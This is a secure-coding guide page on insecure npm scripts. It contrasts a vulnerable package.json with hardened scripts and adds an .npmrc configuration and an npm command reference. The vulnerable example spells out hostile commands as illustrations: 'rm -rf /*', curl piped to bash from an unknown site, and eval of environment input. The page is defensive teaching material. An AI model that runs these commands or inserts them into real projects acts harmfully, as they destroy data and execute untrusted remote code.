> ## Documentation Index
> Fetch the complete documentation index at: https://guide.codepure.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Insecure NPM Scripts

> Securing npm scripts and preventing script injection attacks

## Common Misconfigurations

1. **Running untrusted packages' scripts automatically**
2. **Using unsafe script commands**
3. **Not validating environment variables in scripts**
4. **Missing script injection protection**
5. **Excessive permissions in scripts**

## Vulnerable Example

```json theme={null}
// package.json with insecure scripts
{
  "name": "insecure-scripts-app",
  "scripts": {
    // Command injection vulnerability
    "build": "echo Building $npm_package_version && webpack",
    
    // Unsafe rm command
    "clean": "rm -rf /*",
    
    // Downloading and executing remote scripts
    "setup": "curl -s [https://unknown-site.com/script.sh](https://unknown-site.com/script.sh) | bash",
    
    // Using eval with user input
    "process": "node -e \"eval(process.env.USER_INPUT)\"",
    
    // No validation on file operations
    "deploy": "cp -r ./* $DEPLOY_PATH",
    
    // Running with elevated privileges
    "install": "sudo npm link"
  }
}

// No .npmrc security settings
// No ignore-scripts configuration
```

## Secure Solution

```json theme={null}
// package.json with secure scripts
{
  "name": "secure-scripts-app",
  "scripts": {
    // Safe, validated commands
    "build": "node scripts/build.js",
    "clean": "node scripts/clean.js",
    "test": "jest --coverage",
    "lint": "eslint src/",
    
    // Use npm run-script for chaining
    "prebuild": "npm run clean",
    "postbuild": "npm run test",
    
    // Validated deployment
    "deploy": "node scripts/deploy.js --validate"
  }
}
```

```settings theme={null}
# .npmrc with security configurations
ignore-scripts=true
audit-level=moderate
fund=false
```

```javascript theme={null}
// scripts/build.js - Secure build script
const { execSync } = require('child_process');
const path = require('path');

// Validate environment
const version = process.env.npm_package_version;
if (!/^\d+\.\d+\.\d+$/.test(version)) {
  throw new Error('Invalid version format');
}

// Use safe paths
const buildPath = path.join(__dirname, '..', 'dist');

// Execute with limited permissions
try {
  execSync('webpack --mode production', {
    stdio: 'inherit',
    cwd: process.cwd(),
    env: {
      ...process.env,
      NODE_ENV: 'production'
    }
  });
} catch (error) {
  console.error('Build failed:', error.message);
  process.exit(1);
}
```

```javascript theme={null}
// scripts/clean.js - Safe cleanup script
const fs = require('fs').promises;
const path = require('path');

const ALLOWED_PATHS = ['dist', 'build', '.cache'];

async function clean() {
  for (const dir of ALLOWED_PATHS) {
    const fullPath = path.join(process.cwd(), dir);
    
    // Validate path is within project
    if (!fullPath.startsWith(process.cwd())) {
      console.error(`Invalid path: ${dir}`);
      continue;
    }
    
    try {
      await fs.rm(fullPath, { recursive: true, force: true });
      console.log(`Cleaned: ${dir}`);
    } catch (error) {
      // Directory doesn't exist, skip
    }
  }
}

clean().catch(console.error);
```

## Key Commands for Managing Scripts

Understanding these commands is critical for implementing the security practices described above.

### 1. Running a Script

This is the standard command to execute a script defined in your `package.json` `scripts` object.

```bash theme={null}
npm run <script-name>
# Example:
npm run build
```

*Note: Some common scripts like `test`, `start`, `stop`, and `restart` have shortcuts and can be run without the `run` keyword (e.g., `npm test`).*

### 2. Disabling All Lifecycle Scripts

This is the most important command for securing your environment, as shown in the `.npmrc` solution. It prevents potentially malicious `preinstall`, `install`, and `postinstall` scripts from running automatically when you add packages.

```bash theme={null}
# Sets this configuration in your .npmrc file
npm config set ignore-scripts true
```

After running this, all package scripts must be triggered manually, giving you a chance to vet them.

### 3. Running `npm install` Safely (One Time)

If you don't want to set `ignore-scripts` permanently but want to install a new, untrusted package safely, you can use the `--ignore-scripts` flag for a single command:

```bash theme={null}
npm install <package-name> --ignore-scripts
```

This will install the package without running any of its lifecycle scripts.

### 4. Listing All Available Scripts

To see all scripts defined in the `package.json`, simply run:

```bash theme={null}
npm run
```

This will list all available script names, which is useful for knowing what you *can* run manually.

### 5. Passing Arguments to Scripts

This is essential for the secure pattern of using Node.js scripts. To pass arguments (like `--validate` in the example), you must use `--` to separate the npm command from the arguments you want to pass to your script.

```bash theme={null}
npm run <script-name> -- --your-argument --value=some-value
```

**Example from "Secure Solution":**

```bash theme={null}
# This passes "--validate" to the "node scripts/deploy.js" command
npm run deploy -- --validate
```

Any arguments *before* the `--` are for npm itself; any arguments *after* are for your script.

## Best Practices

* Set `ignore-scripts=true` in `.npmrc`.
* Validate all environment variables.
* Use dedicated script files instead of inline commands.
* Avoid shell command execution when possible.
* Implement proper input validation.
* Never use `eval()` or `Function()` with user input.
